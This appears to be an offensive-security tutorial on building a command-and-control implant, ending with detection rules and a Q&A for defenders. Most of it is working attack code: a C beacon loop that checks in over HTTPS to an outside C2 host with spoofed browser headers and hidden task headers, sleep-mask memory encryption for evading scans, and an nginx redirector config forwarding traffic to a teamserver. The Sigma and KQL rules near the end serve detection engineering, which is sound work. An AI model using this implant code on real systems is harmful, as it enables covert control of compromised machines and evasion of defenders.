C2 Framework Architecture
Command and Control (C2) is the nervous system of a post-exploitation implant. A C2 framework connects implants on target systems to an operator console — carrying tasks down and results up — while blending its traffic with legitimate network activity and surviving network disruptions, IR response, and infrastructure takedowns. Understanding C2 architecture from first principles — not just using Cobalt Strike or Havoc — is what separates operators from tools and is exactly what detection engineers need to model to build meaningful behavioral detections.
You have shellcode executing in a target process. You need a minimal C2 beacon that: checks in to your server over HTTPS every 60 seconds (± jitter), receives task instructions encoded in a cookie-like HTTP header, executes tasks in a thread pool, and returns results in the response body of the next check-in — all without maintaining a persistent TCP connection that a firewall will flag.
C2 Architecture Fundamentals
Beacon Loop in C
// Minimal async beacon loop.
// Uses WinHTTP for HTTPS; task response in custom header X-Config.
// Result posted as encrypted body on next check-in.
// Designed to compile into shellcode-compatible position-independent code.
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
#define C2_HOST L"updates.cdn-static[.]com"
#define C2_PORT 443
#define SLEEP_BASE 60000 // 60 seconds base interval
#define JITTER_PCT 20 // ±20% jitter
DWORD ApplyJitter(DWORD base, int pct) {
DWORD delta = (base * pct) / 100;
return base - delta + (rand() % (delta * 2));
}
BOOL BeaconCheckIn(HINTERNET hSession, BYTE* pendingResult, DWORD resultLen,
BYTE** taskOut, DWORD* taskLen) {
HINTERNET hConn = WinHttpConnect(hSession, C2_HOST,
C2_PORT, 0);
HINTERNET hReq = WinHttpOpenRequest(hConn,
resultLen ? L"POST" : L"GET",
L"/assets/bootstrap.min.css", // benign-looking path
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// Add headers that blend with normal browser traffic
WinHttpAddRequestHeaders(hReq,
L"Accept: text/css,*/*;q=0.1\r\nAccept-Language: en-US,en;q=0.9\r\n",
-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
pendingResult, resultLen, resultLen, 0);
WinHttpReceiveResponse(hReq, NULL);
// Read tasking from response header X-Cache-Id
WCHAR taskHeader[1024] = {0};
DWORD hdrSz = sizeof(taskHeader);
WinHttpQueryHeaders(hReq, WINHTTP_QUERY_CUSTOM,
L"X-Cache-Id", taskHeader, &hdrSz, NULL);
// Decode header → task bytes (base64 → decrypt → command)
*taskOut = (BYTE*)DecodeTask(taskHeader);
*taskLen = hdrSz;
WinHttpCloseHandle(hReq);
WinHttpCloseHandle(hConn);
return TRUE;
}
VOID BeaconMain() {
HINTERNET hSess = WinHttpOpen(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)", // spoof browser UA
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
BYTE* pendingResult = NULL;
DWORD pendingLen = 0;
while (TRUE) {
BYTE* task = NULL; DWORD taskLen = 0;
BeaconCheckIn(hSess, pendingResult, pendingLen, &task, &taskLen);
if (task && taskLen) {
// Execute task in thread; store result for next check-in
pendingResult = (BYTE*)ExecuteTask(task, taskLen, &pendingLen);
}
Sleep(ApplyJitter(SLEEP_BASE, JITTER_PCT));
}
}
Tasking Protocol Design
Sleep Obfuscation
// Standard Sleep() leaves the implant's heap in plaintext while sleeping —
// memory scans during sleep will find strings, shellcode, config data.
// "Sleep mask" technique: encrypt implant's own memory before sleeping,
// decrypt on wake. Used by Cobalt Strike's 'sleep_mask' feature.
VOID SleepObfuscated(DWORD ms) {
// 1. Locate implant's own allocation base
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(SleepObfuscated, &mbi, sizeof(mbi));
BYTE* base = (BYTE*)mbi.AllocationBase;
SIZE_T sz = mbi.RegionSize;
// 2. XOR-encrypt with random 4-byte key while sleeping
DWORD key = (DWORD)(GetTickCount64() ^ (ULONG_PTR)base);
for (SIZE_T i = 0; i < sz - 3; i += 4)
*(DWORD*)(base + i) ^= key;
// 3. Sleep
Sleep(ms);
// 4. Decrypt (XOR again with same key = reversible)
for (SIZE_T i = 0; i < sz - 3; i += 4)
*(DWORD*)(base + i) ^= key;
// After decryption, execution resumes from this function normally
}
Redirectors and Domain Fronting
// Redirector chain: implant → CDN edge → origin teamserver
// CDN SNI = legitimate domain (e.g., cdn.cloudflare-hosting[.]com)
// HTTP Host header = attacker teamserver domain
//
// Domain fronting (largely patched by major CDNs in 2018):
// TLS SNI = allowed.cdn.com (firewall sees this)
// HTTP Host = attacker.samecdn.com (CDN routes to attacker's origin)
// Result: firewall allows connection to cdn.com; traffic goes to attacker
//
// Current technique: malleable C2 profiles (Cobalt Strike) / Havoc profiles
// - URI paths look like legitimate CDN/web traffic
// - Headers match real browser requests
// - Response body contains legitimate content + tasking in crafted header/cookie
//
// Nginx redirector config (forwards only valid beacon paths, 404s everything else):
server {
listen 443 ssl;
ssl_certificate /etc/nginx/ssl/cert.pem;
ssl_certificate_key /etc/nginx/ssl/key.pem;
location /assets/ {
proxy_pass https://TEAMSERVER_IP;
proxy_set_header Host teamserver.internal;
proxy_ssl_verify off;
}
location / {
return 404; # Unexpected paths → 404; looks like a normal web server
}
}
C2 Framework Comparison
| Framework | Language | Protocol | Sleep mask | Detection profile | Cost |
|---|---|---|---|---|---|
| Cobalt Strike | Java teamserver / C implant | HTTP/S, DNS, SMB | Yes (Beacon Object Files) | Well-sighed; many YARA/Sigma rules | Commercial $3500/yr |
| Havoc | Go teamserver / C implant | HTTP/S, SMB | Yes (Ekko) | Lower detection rate; open source | Free |
| Sliver | Go teamserver + implant | HTTP/S, DNS, mTLS, WireGuard | Partial | Medium detection rate; OSS | Free |
| Brute Ratel C4 | C++ teamserver / C implant | HTTP/S, DNS | Yes | Low (designed for EDR evasion) | Commercial |
| Custom beacon | Your choice | Any | Manual | Lowest (no public signatures) | Time |
Detection Engineering
title: Periodic Outbound HTTPS Beacon — Regular Interval with Low Data Volume
logsource:
product: windows
category: network_connection
detection:
selection:
EventID: 3
DestinationPort: 443
Initiated: 'true'
timeframe: 10m
condition: selection | count() by SourceIp,DestinationIp > 8
and selection | avg(bytes_sent) by SourceIp,DestinationIp < 512
level: medium
tags: [attack.command_and_control, T1071.001]
title: Suspicious User-Agent — Non-Browser Process Using Browser UA String
logsource:
product: zeek
service: http
detection:
selection:
user_agent|contains: 'Mozilla/5.0'
not_browser:
id.resp_p: 80
not_browser_process: # correlate via Sysmon EID 3 InitiatingProcessFileName
initiating_process|endswith:
- '\powershell.exe'
- '\svchost.exe'
- '\rundll32.exe'
condition: selection and not_browser_process
level: high
-- MDE KQL: beacon regularity detection
DeviceNetworkEvents
| where Timestamp > ago(6h)
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| summarize
checkins = count(),
bytes_sent = sum(SentBytes),
avg_interval = (max(Timestamp) - min(Timestamp)) / count()
by DeviceName, RemoteIP, InitiatingProcessFileName
| where checkins > 10
and bytes_sent < 50000 // low data volume
and avg_interval between (30s .. 300s) // regular 30-300s interval
| order by checkins desc
-- MDE KQL: non-browser process with browser User-Agent
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort in (80, 443)
| where InitiatingProcessFileName !in~ (
"chrome.exe","msedge.exe","firefox.exe","iexplore.exe",
"teams.exe","slack.exe","outlook.exe")
| join kind=inner (
DeviceEvents
| where ActionType == "NetworkSignatureInspected"
| where AdditionalFields has "Mozilla/5.0"
) on DeviceName, $left.Timestamp == $right.Timestamp
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort
Q&A
Why does inner-layer AES encryption inside HTTPS matter for operational security, and what threat does it defend against?
A C2 implant communicating via HTTPS already has TLS encryption between the implant and whatever server terminates TLS. But in a layered architecture, the TLS termination point is often a CDN edge, a redirector, or a cloud load balancer that the operator does not fully control — these intermediate nodes decrypt TLS to inspect or forward traffic. If tasking travels only in HTTPS, the CDN/redirector reads the task plaintext. More critically: in incident response, if defenders seize or image the redirector, they obtain a log of every task ever issued in plaintext.
Inner-layer AES-GCM encryption (with keys negotiated end-to-end via ECDH between the implant and the teamserver) means the redirector/CDN only ever sees ciphertext it cannot decrypt. The HTTPS envelope protects the inner ciphertext from network-layer interception, but the inner cipher is what protects task content from the intermediate infrastructure itself. This is the same principle as end-to-end encryption over a TLS-terminating proxy: the proxy sees encrypted blobs it cannot read.
For detection engineers: the implication is that protocol inspection at the CDN/proxy level cannot reveal C2 content in mature implementations. Detection must rely on behavioral patterns (regularity, volume, timing) rather than payload inspection. This is why beaconing analytics — looking for connections to a single external IP at suspiciously regular intervals — are the primary detection method for mature C2 rather than signature-based DPI.